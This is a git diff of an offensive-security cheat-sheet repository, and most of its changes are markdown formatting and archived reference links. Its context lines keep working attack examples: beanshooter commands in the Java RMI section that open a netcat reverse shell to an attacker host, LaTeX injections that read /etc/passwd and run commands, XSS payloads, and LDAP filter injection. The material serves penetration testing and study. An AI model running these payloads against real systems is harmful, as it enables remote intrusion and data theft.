 
 ## References
 
-- [5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019](https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
+- [5 Easy Steps to Understanding JSON Web Token - Shaurya Sharma - December 21, 2019](https://web.archive.org/web/20210218162416/https://medium.com/cyberverse/five-easy-steps-to-understand-json-web-tokens-jwt-7665d2ddf4d5)
-- [Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016](https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
+- [Attacking JWT authentication - Sjoerd Langkemper - September 28, 2016](https://web.archive.org/web/20251102094325/https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/)
-- [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023](https://www.youtube.com/watch?v=d7wmUz57Nlg)
+- [Club EH RM 05 - Intro to JSON Web Token Exploitation - Nishacid - February 23, 2023](https://web.archive.org/web/20250914204544/https://www.youtube.com/watch?v=d7wmUz57Nlg)
-- [Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries//)
+- [Critical vulnerabilities in JSON Web Token libraries - Tim McLean - March 31, 2015](https://web.archive.org/web/20260207024257/https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
-- [Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
+- [Hacking JSON Web Token (JWT) - pwnzzzz - May 3, 2018](https://web.archive.org/web/20180509012007/https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6)
 - [Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify - February 9, 2017](https://web.archive.org/web/20220305042224/https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
-- [Hacking JSON Web Tokens - Vickie Li - October 27, 2019](https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
+- [Hacking JSON Web Tokens - Vickie Li - October 27, 2019](https://web.archive.org/web/20191028125424/https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a)
-- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017](https://nandynarwhals.org/hitbgsec2017-pasty/)
+- [HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng) - August 27, 2017](https://web.archive.org/web/20240229055017/https://nandynarwhals.org/hitbgsec2017-pasty/)
-- [How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017](https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
+- [How to Hack a Weak JWT Implementation with a Timing Attack - Tamas Polgar - January 7, 2017](https://web.archive.org/web/20190331200826/https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9)
-- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
+- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight - April 16, 2020](https://web.archive.org/web/20230104231143/https://insomniasec.com/blog/auth0-jwt-validation-bypass)
-- [JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022](https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
+- [JSON Web Token Vulnerabilities - 0xn3va - March 27, 2022](https://web.archive.org/web/20260305090633/https://0xn3va.gitbook.io/cheat-sheets/web-application/json-web-token-vulnerabilities)
-- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017](https://trustfoundry.net/jwt-hacking-101/)
+- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8, 2017](https://web.archive.org/web/20190405023824/https://trustfoundry.net/jwt-hacking-101/)
 - [Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq - May 3, 2022](https://github.com/dwyl/learn-json-web-tokens)
-- [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
+- [Privilege Escalation like a Boss - janijay007 - October 27, 2018](https://web.archive.org/web/20190723093831/https://blog.securitybreached.org/2018/10/27/privilege-escalation-like-a-boss/)
-- [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
+- [Simple JWT hacking - Hari Prasanth (@b1ack_h00d) - March 7, 2019](https://web.archive.org/web/20200724145838/https://medium.com/@blackhood/simple-jwt-hacking-73870a976750)
-- [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
+- [WebSec CTF - Authorization Token - JWT Challenge - Kris Hunt - August 7, 2016](https://web.archive.org/web/20211025223311/https://ctf.rip/websec-ctf-authorization-token-jwt-challenge/)
-- [Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
+- [Write up – JRR Token – LeHack 2019 - Laphaze - July 7, 2019](https://web.archive.org/web/20210512205928/https://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)

Java RMI/README.md

@@ -2,7 +2,6 @@
 
 > Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.
 
-
 ## Summary
 
 * [Tools](#tools)
@@ -13,18 +12,17 @@
     * [RCE using Metasploit](#rce-using-metasploit)
 * [References](#references)
 
-
 ## Tools
 
-- [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
+* [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit
-- [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
+* [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit
-- [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
+* [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner
-- [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
+* [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.
-
 
 ## Detection
 
 * Using [nmap](https://nmap.org/):
+
   ```powershell
   $ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
   1089/tcp open  java-rmi Java RMI
@@ -39,31 +37,33 @@
   ```
 
 * Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
+
   ```bash
   $ rmg scan 172.17.0.2 --ports 0-65535
   [+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
-  [+] 	[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
+  [+]  [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
-  [+] 	[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
+  [+]  [HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)
-  [+] 	[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
+  [+]  [HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)
-  [+] 	[6234 / 6234] [#############################] 100%
+  [+]  [6234 / 6234] [#############################] 100%
   [+] Portscan finished.
 
   $ rmg enum 172.17.0.2 9010
   [+] RMI registry bound names:
   [+]
-  [+] 	- plain-server2
+  [+]  - plain-server2
-  [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
+  [+]   --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
-  [+] 		    Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
+  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
-  [+] 	- legacy-service
+  [+]  - legacy-service
-  [+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
+  [+]   --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
-  [+] 		    Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
+  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
-  [+] 	- plain-server
+  [+]  - plain-server
-  [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
+  [+]   --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
-  [+] 		    Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
+  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
   [...]
   ```
 
 * Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)
+
   ```bash
   use auxiliary/scanner/misc/java_rmi_server
   set RHOSTS <IPs>
@@ -75,7 +75,6 @@
 
 If a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.
 
-
 ### RCE using beanshooter
 
 * List available attributes: `beanshooter info 172.17.0.2 9010`
@@ -86,28 +85,28 @@ If a Java Remote Method Invocation (RMI) service is poorly configured, it become
 * Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`
 * Enumerate JMX endpoint: `beanshooter enum 172.17.0.2 1090`
 * Invoke method on a JMX endpoint: `beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'`
-* Invoke arbitrary public and static Java methods: 
+* Invoke arbitrary public and static Java methods:
 
     ```ps1
     beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
     beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
     ```
-    
+
 * Standard MBean execution: `beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'`
 * Deserialization attacks on a JMX endpoint: `beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin`
 
-
 ### RCE using sjet or mjet
 
 #### Requirements
 
-- Jython
+* Jython
-- The JMX server can connect to a http service that is controlled by the attacker
+* The JMX server can connect to a http service that is controlled by the attacker
-- JMX authentication is not enabled
+* JMX authentication is not enabled
 
 #### Remote Command Execution
 
 The attack involves the following steps:
+
 * Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
 * Creating a instance of the MBean `javax.management.loading.MLet` on the target server, using JMX
 * Invoking the `getMBeansFromURL` method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
@@ -139,9 +138,8 @@ set RPORT <PORT>
 run
 ```
 
-
 ## References
 
-- [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
+* [Attacking RMI based JMX services - Hans-Martin Münch - April 28, 2019](https://web.archive.org/web/20201024121233/https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
-- [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
+* [JMX RMI - MULTIPLE APPLICATIONS RCE - Red Timmy Security - March 26, 2019](https://web.archive.org/web/20250523025328/https://www.exploit-db.com/docs/english/46607-jmx-rmi-%E2%80%93-multiple-applications-remote-code-execution.pdf)
-- [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)
+* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel - August 15, 2021](https://web.archive.org/web/20210817144943/https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)

LDAP Injection/README.md

@@ -2,7 +2,6 @@
 
 > LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
 
-
 ## Summary
 
 * [Methodology](#methodology)
@@ -16,7 +15,6 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Methodology
 
 LDAP Injection is a vulnerability that occurs when user-supplied input is used to construct LDAP queries without proper sanitization or escaping
@@ -41,7 +39,6 @@ pass  = q))
 query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
 ```
 
-
 ### Blind Exploitation
 
 This scenario demonstrates LDAP blind exploitation using a technique similar to binary search or character-based brute-forcing to discover sensitive information like passwords. It relies on the fact that LDAP filters respond differently to queries based on whether the conditions match or not, without directly revealing the actual password.
@@ -64,13 +61,12 @@ This scenario demonstrates LDAP blind exploitation using a technique similar to
 (&(sn=administrator)(password=MYKE)) : OK
 ```
 
-**LDAP Filter Breakdown**
+**LDAP Filter Breakdown**:
 
 * `&`: Logical AND operator, meaning all conditions inside must be true.
 * `(sn=administrator)`: Matches entries where the sn (surname) attribute is administrator.
 * `(password=X*)`: Matches entries where the password starts with X (case-sensitive). The asterisk (*) is a wildcard, representing any remaining characters.
 
-
 ## Defaults Attributes
 
 Can be used in an injection like `*)(ATTRIBUTE_HERE=*`
@@ -87,7 +83,6 @@ givenName
 commonName
 ```
 
-
 ## Exploiting userPassword Attribute
 
 `userPassword` attribute is not a string like the `cn` attribute for example but it’s an OCTET STRING
@@ -163,19 +158,17 @@ flag = ''
 end
 ```
 
-
 ## Labs
 
 * [Root Me - LDAP injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Authentication)
 * [Root Me - LDAP injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/LDAP-injection-Blind)
 
-
 ## References
 
-- [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
+* [[European Cyber Week] - AdmYSion - Alan Marrec (Maki)](https://www.maki.bzh/writeups/ecw2018admyssion/)
-- [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://0xukn.fr/posts/writeupecw2018admyssion/)
+* [ECW 2018 : Write Up - AdmYSsion (WEB - 50) - 0xUKN - October 31, 2018](https://web.archive.org/web/20200924103615/https://0xukn.fr/posts/writeupecw2018admyssion/)
-- [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
+* [How To Configure OpenLDAP and Perform Administrative LDAP Tasks - Justin Ellingwood - May 30, 2015](https://web.archive.org/web/20260119175101/https://www.digitalocean.com/community/tutorials/how-to-configure-openldap-and-perform-administrative-ldap-tasks)
-- [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
+* [How To Manage and Use LDAP Servers with OpenLDAP Utilities - Justin Ellingwood - May 29, 2015](https://web.archive.org/web/20160305121823/https://www.digitalocean.com/community/tutorials/how-to-manage-and-use-ldap-servers-with-openldap-utilities)
-- [LDAP Blind Explorer - Alonso Parada - August 12, 2011](http://code.google.com/p/ldap-blind-explorer/)
+* [LDAP Blind Explorer - Alonso Parada - August 12, 2011](https://web.archive.org/web/20160120073444/https://code.google.com/p/ldap-blind-explorer/)
-- [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
+* [LDAP Injection & Blind LDAP Injection - Chema Alonso, José Parada Gimeno - October 10, 2008](https://web.archive.org/web/20081010181534/http://blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)
-- [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://www.owasp.org/index.php/LDAP_injection)
+* [LDAP Injection Prevention Cheat Sheet - OWASP - July 16, 2019](https://web.archive.org/web/20190719164052/https://www.owasp.org/index.php/LDAP_injection)

LaTeX Injection/README.md

@@ -1,7 +1,6 @@
 # LaTeX Injection
 
-> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place. 
+> LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
-
 
 ## Summary
 
@@ -13,7 +12,6 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## File Manipulation
 
 ### Read File
@@ -57,8 +55,8 @@ Read text file, **without** interpreting the content, it will only paste raw fil
 \verbatiminput{/etc/passwd}
 ```
 
-If injection point is past document header (`\usepackage` cannot be used), some control 
+If injection point is past document header (`\usepackage` cannot be used), some control
-characters can be deactivated in order to use `\input` on file containing `$`, `#`, 
+characters can be deactivated in order to use `\input` on file containing `$`, `#`,
 `_`, `&`, null bytes, ... (eg. perl scripts).
 
 ```tex
@@ -69,9 +67,10 @@ characters can be deactivated in order to use `\input` on file containing `$`, `
 \input{path_to_script.pl}
 ```
 
-To bypass a blacklist try to replace one character with it's unicode hex value. 
+To bypass a blacklist try to replace one character with it's unicode hex value.
-- ^^41 represents a capital A
+
-- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
+* ^^41 represents a capital A
+* ^^7e represents a tilde (~) note that the ‘e’ must be lower case
 
 ```tex
 \lstin^^70utlisting{/etc/passwd}
@@ -90,7 +89,6 @@ Write single lined file:
 \closeout\outfile
 ```
 
-
 ## Command Execution
 
 The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
@@ -112,10 +110,9 @@ If you get any LaTex error, consider using base64 to get the result without bad
 \input{|"/bin/hostname"}
 ```
 
-
 ## Cross Site Scripting
 
-From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) 
+From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
 
 ```tex
 \url{javascript:alert(1)}
@@ -128,15 +125,13 @@ In [mathjax](https://docs.mathjax.org/en/latest/input/tex/extensions/unicode.htm
 \unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}
 ```
 
-
 ## Labs
 
 * [Root Me - LaTeX - Input](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Input)
 * [Root Me - LaTeX - Command Execution](https://www.root-me.org/en/Challenges/App-Script/LaTeX-Command-execution)
 
-
 ## References
 
-- [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://0day.work/hacking-with-latex/)
+* [Hacking with LaTeX - Sebastian Neef - March 10, 2016](https://web.archive.org/web/20260209043241/https://0day.work/hacking-with-latex/)
-- [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
+* [Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018](https://web.archive.org/web/20210117203905/https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a)
-- [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
+* [Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016](https://web.archive.org/web/20161130151956/https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)

Mass Assignment/README.md

@@ -8,7 +8,6 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Methodology
 
 Mass assignment vulnerabilities are most common in web applications that use Object-Relational Mapping (ORM) techniques or functions to map user input to object properties, where properties can be updated all at once instead of individually. Many popular web development frameworks such as Ruby on Rails, Django, and Laravel (PHP) offer this functionality.
@@ -28,16 +27,14 @@ However, an attacker may attempt to add an `isAdmin` parameter to the incoming d
 
 If the web application is not checking which parameters are allowed to be updated in this way, it might set the `isAdmin` attribute based on the user-supplied input, giving the attacker admin privileges
 
-
 ## Labs
 
 * [PentesterAcademy - Mass Assignment I](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1964)
 * [PentesterAcademy - Mass Assignment II](https://attackdefense.pentesteracademy.com/challengedetailsnoauth?cid=1922)
 * [Root Me - API - Mass Assignment](https://www.root-me.org/en/Challenges/Web-Server/API-Mass-Assignment)
 
-
 ## References
 
-- [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
+* [Hunting for Mass Assignment - Shivam Bathla - August 12, 2021](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)
-- [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
+* [Mass Assignment Cheat Sheet - OWASP - March 15, 2021](https://web.archive.org/web/20260216020815/https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)
-- [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)
+* [What is Mass Assignment? Attacks and Security Tips - Yoan MONTOYA - June 15, 2023](https://www.vaadata.com/blog/what-is-mass-assignment-attacks-and-security-tips/)

Methodology and Resources/Active Directory Attack.md

@@ -43,9 +43,9 @@
 - [Trust - Relationship](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-relationship/)
 - [Child Domain to Forest Compromise - SID Hijacking](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-sid-hijacking/)
 - [Forest to Forest Compromise - Trust Ticket](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/trust-ticket/)
-- [CVE](#)
+- [CVE](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/)
-  - [MS14-068 Checksum Validation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/)
+    - [MS14-068 Checksum Validation](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/MS14-068/)
-  - [NoPAC / samAccountName Spoofing](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/NoPAC/)
+    - [NoPAC / samAccountName Spoofing](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/NoPAC/)
-  - [PrintNightmare](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrintNightmare/)
+    - [PrintNightmare](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrintNightmare/)
-  - [PrivExchange](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrivExchange/)
+    - [PrivExchange](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/PrivExchange/)
-  - [ZeroLogon](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/ZeroLogon/)
+    - [ZeroLogon](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/CVE/ZeroLogon/)

Methodology and Resources/Bind Shell Cheatsheet.md

@@ -10,4 +10,4 @@
 - [Netcat OpenBsd](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#netcat-openbsd)
 - [Ncat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#ncat)
 - [Socat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#socat)
-- [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell)
+- [Powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-bind-cheatsheet/#powershell)

Methodology and Resources/Cloud - AWS Pentest.md

@@ -1,4 +1,4 @@
-# Cloud - AWS 
+# Cloud - AWS
 
 :warning: Content of this page has been moved to [InternalAllTheThings/cloud/aws](https://github.com/swisskyrepo/InternalAllTheThings/)
 
@@ -14,4 +14,4 @@
 - [AWS - Metadata SSRF](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/)
 - [AWS - Service - S3 Buckets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-s3-bucket/)
 - [AWS - Service - SSM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ssm/)
-- [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/)
+- [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/)

Methodology and Resources/Cloud - Azure Pentest.md

@@ -9,4 +9,4 @@
 - [Azure AD Tokens](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-access-and-token/)
 - [Azure Persistence](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-persistence/)
 - [Azure Requirements](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-requirements/)
-- [Azure Services](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-services/)
+- [Azure Services](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-services/)

Methodology and Resources/Cobalt Strike - Cheatsheet.md

@@ -29,4 +29,4 @@
     - [Thread Stack Spoofer](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#thread-stack-spoofer)
 - [Beacon Object Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#beacon-object-files)
 - [NTLM Relaying via Cobalt Strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#ntlm-relaying-via-cobalt-strike)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references)

Methodology and Resources/Container - Docker Pentest.md

@@ -5,10 +5,10 @@
 - [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#tools)
 - [Mounted Docker Socket](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#mounted-docker-socket)
 - [Open Docker API Port](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#open-docker-api-port)
-- [Insecure Docker Registry](#insecure-docker-registry)
+- [Insecure Docker Registry](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#insecure-docker-registry)
 - [Exploit privileged container abusing the Linux cgroup v1](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#exploit-privileged-container-abusing-the-linux-cgroup-v1)
     - [Abusing CAP_SYS_ADMIN capability](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-capsysadmin-capability)
     - [Abusing coredumps and core_pattern](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-coredumps-and-corepattern)
 - [Breaking out of Docker via runC](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-docker-via-runc)
 - [Breaking out of containers using a device file](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-containers-using-a-device-file)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#references)

Methodology and Resources/Container - Kubernetes Pentest.md

@@ -6,4 +6,4 @@
 - [Exploits](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#exploits)
     - [Accessible kubelet on 10250/TCP](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#accessible-kubelet-on-10250tcp)
     - [Obtaining Service Account Token](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#obtaining-service-account-token)
-- [References](#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#references)

Methodology and Resources/Escape Breakout.md

@@ -13,4 +13,4 @@
     - [Bypass file restrictions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#bypass-file-restrictions)
 - [Internet Explorer](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#internet-explorer)
 - [Shell URI Handlers](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#shell-uri-handlers)
-- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#references)
+- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#references)

Methodology and Resources/HTML Smuggling.md

@@ -3,4 +3,4 @@
 :warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/html-smuggling](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/)
 
 - [Description](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#description)
-- [Executable Storage](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#executable-storage)
+- [Executable Storage](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#executable-storage)

Methodology and Resources/Hash Cracking.md

@@ -3,13 +3,13 @@
